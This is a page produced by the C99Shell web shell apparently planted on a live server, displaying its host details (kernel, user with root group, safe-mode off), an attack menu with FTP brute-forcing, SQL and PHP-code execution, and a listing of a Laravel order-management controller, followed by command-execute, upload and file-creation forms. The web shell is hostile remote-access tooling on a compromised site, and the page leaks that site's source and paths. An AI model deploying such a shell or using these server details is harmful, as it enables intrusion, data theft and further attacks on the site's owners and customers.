!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OrderController.php (7.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Country;
use 
App\Models\Customer;
use 
App\Models\Order;
use 
App\Models\OrderHistory;
use 
App\Models\OrderProduct;
use 
App\Models\OrderStatus;
use 
App\Models\ProductDescription;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Http\Request;
use 
DB;
use 
PDF;

class 
OrderController extends Controller
{
    public function 
index(Request $request) {
        
$name $request->get('name'null);
        
$filterStatus null;
        if(
$request->filterStatus && $request->filterStatus  != 'all') {
            
$find OrderStatus::where('name''like''%'.substr($request->filterStatus,0,6).'%')->first();
            
$filterStatus $find->id;
        }


        
$records Order::select('id','firstname''lastname','payment_method','invoice_no','invoice_prefix','shipping_name','order_date','order_status_id','total','grand_total')
            ->
withCount('productRelation')
            ->
with('orderStatus:name,id');

            if(
$name) {
              
$records $records->where('firstname','like',"%$name%")->orWhere('email','like',"%$name%");
            }

            
$records $records->when($filterStatus != null, function($q) use($filterStatus) {
                  
$q->whereHas('orderStatus',function($q) use($filterStatus){
                      
$q->where('id',$filterStatus);
                  });
              });

            
$records $records->orderBy('order_date','DESC')->paginate($this->defaultPaginate);

        
$orderStatus OrderStatus::getActivePluck();

        return 
view('admin.order.index',['records' => $records'orderStatus' => $orderStatus]);
    }

    public function 
add() {
        
$data['customers'] = Customer::getActivePluck();
        
$data['products'] = ProductDescription::getActivePluck();
        
$data['country'] = Country::getActivePluck();
        
$data['order_status'] = OrderStatus::getActivePluck();
        return 
view('admin.order.add',['data' => $data]);
    }

    protected function 
validateData ($request) {
        
$this->validate($request, [
            
'firstname' => ['required''string''max:255']
        ]);
    }

    public function 
store(Request $request) {

        
$this->validateData($request);

        
//Order Create

        
$order = new Order($request->only(Order::$fillableValue));
        
$order->invoice_prefix Order::INVOICE_PREFIX;
        
$order->ip $request->ip();
        
$order->save();

        
$this->createOrderProduct($order->id);         //Order Product Create

        
$this->createOrderHistory($order->id);        //Order History Create

        
return response()->json([
                
'code' => 200,
                
'msg' => 'Order Created Successfully',
                
'route' => route('order')
            ]
            ,
200);
    }

    protected function 
createOrderHistory($orderId) {
        
$orderHistory = new OrderHistory(request()->only('order_status_id''comment'));
        
$orderHistory->order_id $orderId;
        
$orderHistory->save();
    }

    protected function 
createOrderProduct($orderId) {

        
$productArray array_filter(json_decode(request()->productData,true));
        
data_set($productArray,'*.order_id',$orderId);
        
OrderProduct::insert($productArray);
    }

    public function 
edit($id) {

        
$data['customers'] = Customer::getActivePluck();
        
$data['products'] = ProductDescription::getActivePluck();
        
$data['country'] = Country::getActivePluck();
        
$data['order_status'] = OrderStatus::getActivePluck();
        
$data['order'] = Order::with('productRelation')->findOrFail($id);
//        dd($data['order']->toArray());
        
return view('admin.order.edit',[
            
'data' => $data,
        ]);
    }

    public function 
view(Request $request) {
      
$order =  Order::with('orderStatus:name,id','orderCountry:name','products:name,quantity,image,order_id,product_id,total')
      ->
where('id',$request->id)
      ->
first();

      
$orderProducts OrderProduct::where('order_id',$request->id)->get();
      
$orderStatus OrderStatus::where('status','1')->get();
      
$orderHistory OrderHistory::where('order_id',$request->id)->orderBy('created_at','Desc')->get();

      return 
view('admin.order.view',compact('order','orderProducts','orderStatus','orderHistory'));

    }

    public function 
downloadPDF($id,Request $request) {
      
$order =  Order::with('orderStatus:name,id','products:name,price,special,quantity,image,order_id,product_id,total','orderCountry')
      ->
where('order.id',$id)
      ->
first();

      
$orderProducts OrderProduct::where('order_id',$id)->get();
      
$orderStatus OrderStatus::where('status','1')->get();
      
$orderHistory OrderHistory::where('order_id',$id)->orderBy('created_at','Desc')->get();
      
$pdf PDF::loadView('admin.pdf.invoice', ['orderData' =>$order,'orderProducts' => $orderProducts]);
      return 
$pdf->download('invoice-'.$order->invoice_prefix.''.$order->invoice_no.'.pdf');
    }

    public function 
update(Request $request,$id) {

        
$order Order::findOrFail($id);
        
$order->invoice_prefix Order::INVOICE_PREFIX;
        
$order->ip $request->ip();
        
$order->fill($request->only(Order::$fillableValue))->save();

        
//Order Product Create
        
OrderProduct::whereOrderId($order->id)->delete();
        
$this->createOrderProduct($order->id);

        
$this->createOrderHistory($order->id);

        return 
response()->json([
                
'code' => 200,
                
'msg' => 'Order Updated Successfully',
                
'route' => route('order')
            ]
            ,
200);
    }

    public function 
delete($id) {
        if(! 
$data Order::whereId($id)->first()) {
            return 
redirect()->back()->with('error''Something went wrong');
        }

        
OrderProduct::whereOrderId($data->id)->delete();
        
OrderHistory::whereOrderId($data->id)->delete();
        
$data->delete();
        return 
redirect(route('order'))->with('success''Order  Deleted Successfully');
    }

    public function 
updateStatus($id,Request $request) {

      
OrderHistory::create([
        
'order_id' => $id,
        
'order_status_id' => $request->order_status_id,
        
'comment' => $request->comment
      
]);

      
$getOrder =   Order::where('id',$id)->first();

      
Order::where('id',$id)->update([
          
'order_status_id' => $request->order_status_id
      
]);

      
$getOrderStatusName DB::table('order_status')->where('id',$request->order_status_id)->first();

      
//send push notification when order update
      
$firebaseToken Customer::where('id',$getOrder->customer_id)->whereNotNull('firebase_token')->pluck('firebase_token')->all();

      
$SERVER_API_KEY env('FIREBASE_SERVER_KEY');

        
$data = [
            
"registration_ids" => $firebaseToken,
            
"notification" => [
                
"title" => 'Order Status',
                
"body" => 'Your order status change to '.$getOrderStatusName->name.' Order ID #'.$getOrder->id,
                
"picture" => asset('assets').'/img/shopping-bag.png'
            
]
        ];

        
$dataString json_encode($data);

        
$headers = [
            
'Authorization: key=' $SERVER_API_KEY,
            
'Content-Type: application/json',
        ];

        
$ch curl_init();

        
curl_setopt($chCURLOPT_URL'https://fcm.googleapis.com/fcm/send');
        
curl_setopt($chCURLOPT_POSTtrue);
        
curl_setopt($chCURLOPT_HTTPHEADER$headers);
        
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
        
curl_setopt($chCURLOPT_POSTFIELDS$dataString);

        
$response curl_exec($ch);


      return 
redirect()->back()->with('success''Order Status Successfully Updated!');

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--